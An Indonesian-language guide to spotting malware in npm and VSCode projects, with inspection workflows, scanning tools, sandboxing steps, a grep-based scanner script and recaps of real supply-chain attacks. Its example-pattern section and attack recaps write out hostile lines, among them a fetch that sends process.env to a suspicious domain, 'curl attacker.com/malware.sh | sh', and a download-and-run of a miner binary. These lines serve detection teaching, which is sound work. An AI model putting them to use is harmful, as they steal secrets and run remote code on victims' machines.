Panduan Deteksi & Tracing Malware di Codebase

1. Ciri-Ciri Kode Suspicious

File & Folder Mencurigakan

.vscode/ folder:

tasks.json dengan autorun commands
launch.json dengan preLaunchTask mencurigakan
settings.json yang menjalankan script saat startup

package.json red flags:

Script preinstall, postinstall, prepare yang menjalankan perintah aneh
Dependencies dari source tidak resmi (bukan npm registry)
Obfuscated script names atau perintah base64
Script yang download file dari URL eksternal

Files lain:

.git/hooks/ (pre-commit, post-merge hooks)
.husky/ hooks yang mencurigakan
.env files dengan credentials
Hidden files (.npmrc, .yarnrc) dengan registry tidak standar

Pola Kode Berbahaya

// 1. Obfuscation ekstrem
eval(atob("YmFzZTY0X2NvZGU="))
Function("return this")()["eval"]

// 2. Network requests mencurigakan
fetch("http://suspicious-domain.com/steal.php", {
  method: "POST",
  body: JSON.stringify(process.env)
})

// 3. Command execution
require("child_process").exec("curl attacker.com/malware.sh | sh")
eval(require("fs").readFileSync("/etc/passwd"))

// 4. File system manipulation mencurigakan
fs.writeFileSync("/usr/local/bin/backdoor", maliciousCode)
fs.chmodSync("/tmp/script.sh", 0o777)

// 5. Environment variable theft
Object.keys(process.env).forEach(key => sendToServer(key, process.env[key]))

// 6. Cryptocurrency miners
WebAssembly.instantiate(suspiciousBuffer)
// Mining pools: xmr-pool.com, moneroocean.stream

2. Workflow Inspeksi Sebelum Install

Step 1: Static Analysis (Sebelum Install)

# Clone tanpa checkout (aman, tidak jalankan apapun)
git clone --no-checkout <repo-url> project-name
cd project-name

# Inspect files tanpa checkout
git show HEAD:package.json | jq .scripts
git show HEAD:.vscode/tasks.json
git ls-tree -r HEAD --name-only | grep -E "\.vscode|hooks|\.env"

# Atau checkout ke folder terpisah dengan proteksi
git --work-tree=/tmp/safe-inspect checkout HEAD

Step 2: Package.json Deep Inspection

# Cek semua lifecycle scripts
cat package.json | jq '.scripts' | grep -E "pre|post|prepare|install"

# Red flags:
# - curl/wget commands
# - eval atau Function() calls  
# - Base64 encoded strings (atob, Buffer.from)
# - Obfuscated code
# - External script downloads

Step 3: Dependencies Audit

# Cek dependencies tanpa install
cat package.json | jq '.dependencies, .devDependencies'

# Bandingkan dengan npm registry
npm view <package-name> versions
npm view <package-name> dist.tarball

# Cek typosquatting
# lodash vs lod4sh, react vs reactt

3. Tools untuk Detection

A. Static Analysis Tools

# 1. npm-audit (built-in)
npm audit --json | jq '.vulnerabilities'

# 2. Snyk - vulnerability scanner
npm install -g snyk
snyk test --file=package.json

# 3. Socket.dev - malware detection
npx socket-cli@latest report package.json

# 4. Semgrep - pattern-based scanner
brew install semgrep
semgrep --config=auto .

B. Manual Inspection Tools

# 1. Grep untuk pattern mencurigakan
grep -r "eval\|exec\|child_process" . --include="*.js"
grep -r "atob\|btoa\|Buffer.*base64" . --include="*.js"
grep -r "http://\|https://" . --include="*.js" | grep -v "localhost"

# 2. Find suspicious files
find . -name "*.sh" -o -name "preinstall.js" -o -name "postinstall.js"
find . -type f -name ".*" # hidden files

# 3. Check file permissions
find . -type f -perm -111 # executable files

C. Sandbox Environment

# Jalankan di Docker isolated container
docker run --rm -it --network=none \
  -v $(pwd):/app:ro \
  node:18-alpine sh

# Di dalam container (network disabled):
cd /app
npm install --dry-run # simulate install
npm install --ignore-scripts # skip lifecycle scripts

D. Advanced: Dynamic Analysis

# 1. Strace - trace system calls (Linux)
strace -f -e trace=network,process npm install 2>&1 | tee strace.log
grep -E "connect|exec|fork" strace.log

# 2. Process Monitor (macOS)
sudo fs_usage -w -f network npm install

# 3. Network monitoring
sudo tcpdump -i any -w npm-install.pcap &
npm install
# Analyze dengan Wireshark

4. Safe Installation Workflow

# 1. Clone safely
git clone --no-checkout <repo> project
cd project

# 2. Inspect first
git show HEAD:package.json > /tmp/package.json
code /tmp/package.json  # review manually

# 3. Checkout dengan ignore scripts
git config core.hooksPath /dev/null  # disable git hooks
git checkout HEAD

# 4. Review VSCode config
cat .vscode/tasks.json
cat .vscode/settings.json

# 5. Install dengan safety
npm install --ignore-scripts  # skip pre/postinstall
npm rebuild  # manual rebuild jika perlu

# 6. Verify installed packages
npm ls --depth=0
npx lockfile-lint --path package-lock.json --validate-https

5. Automated Scanning Script

#!/bin/bash
# scan-repo.sh - Automated malware scanner

REPO_PATH=$1

echo "[+] Scanning $REPO_PATH for suspicious patterns..."

# Check package.json scripts
echo "\n[*] Checking package.json scripts..."
jq '.scripts' $REPO_PATH/package.json | grep -i -E "curl|wget|eval|exec|base64" && echo "⚠️  SUSPICIOUS SCRIPTS FOUND"

# Check VSCode configs
echo "\n[*] Checking VSCode configs..."
find $REPO_PATH/.vscode -type f -exec grep -H "preLaunchTask\|autorun\|shellExec" {} \; && echo "⚠️  SUSPICIOUS VSCODE CONFIG"

# Scan for obfuscated code
echo "\n[*] Scanning for obfuscation..."
grep -r "eval(atob\|Function(\|\\x" $REPO_PATH --include="*.js" && echo "⚠️  OBFUSCATED CODE FOUND"

# Check for network calls
echo "\n[*] Checking external connections..."
grep -r "http://" $REPO_PATH --include="*.js" | grep -v "localhost\|127.0.0.1" && echo "⚠️  EXTERNAL HTTP CONNECTIONS"

# Find hidden files
echo "\n[*] Finding hidden files..."
find $REPO_PATH -name ".*" -type f

echo "\n[✓] Scan complete"

Usage:

chmod +x scan-repo.sh
./scan-repo.sh /path/to/suspicious-repo

6. Red Flags Checklist

Immediate rejection jika ditemukan:

Base64 encoded code yang di-decode lalu di-eval
Shell commands di lifecycle scripts yang download external files
Obfuscated JavaScript (banyak \x hex encoding)
Network requests ke domain tidak dikenal
File writes ke system directories (/usr/bin, /etc)
Environment variable exfiltration
Cryptocurrency mining code (WebAssembly mining)
Git hooks yang menjalankan binary tidak dikenal

Investigate lebih lanjut:

Dependencies dengan download count rendah (<1000/week)
Packages yang baru publish (<6 bulan)
Typosquatting names
Maintainer dengan reputasi rendah
Postinstall scripts (bahkan yang legitimate)

7. Best Practices

Always review before install - Jangan langsung npm install
Use lock files - Commit package-lock.json untuk reproducible builds
Enable 2FA - Untuk npm account
Use npm audit - Rutin check vulnerabilities
Sandbox first - Test di Docker/VM isolated
Minimize dependencies - Fewer deps = smaller attack surface
Pin versions - Avoid ^ dan ~ untuk security-critical deps
Monitor changes - Review dependency updates via Dependabot

8. Tools Recommendations

Must have:

npm audit (built-in)
git show untuk inspect tanpa checkout
jq untuk parse JSON
grep untuk pattern matching

Advanced:

Socket.dev - malware detection
Snyk - vulnerability scanning
Semgrep - SAST analysis
Docker/Sandboxie - isolated testing

9. Real-World Attack Examples

Event-stream attack (2018)

// Malicious code di flatmap-stream dependency
var r = require;
var c = r("crypto");
// Stole cryptocurrency wallet credentials

ua-parser-js attack (2021)

# Postinstall script:
curl http://malicious-domain/miner.exe -o /tmp/miner.exe
/tmp/miner.exe &

node-ipc sabotage (2022)

// Deleted files on Russian/Belarusian IPs
if (geo.country === "RU" || geo.country === "BY") {
  fs.writeFileSync("❤️", "");
}

10. Quick Reference Commands

# Safe clone & inspect
git clone --no-checkout <repo> && cd <repo>
git show HEAD:package.json | jq .

# Scan for patterns
grep -r "eval\|exec\|atob\|child_process" . --include="*.js"

# Safe install
npm install --ignore-scripts
npm audit --json | jq '.vulnerabilities'

# Network isolation test
docker run --rm -it --network=none -v $(pwd):/app node:18 sh

Remember: Malware sophistication terus berkembang. Kombinasikan automated tools dengan manual review untuk keamanan maksimal. Jika ragu, jangan install!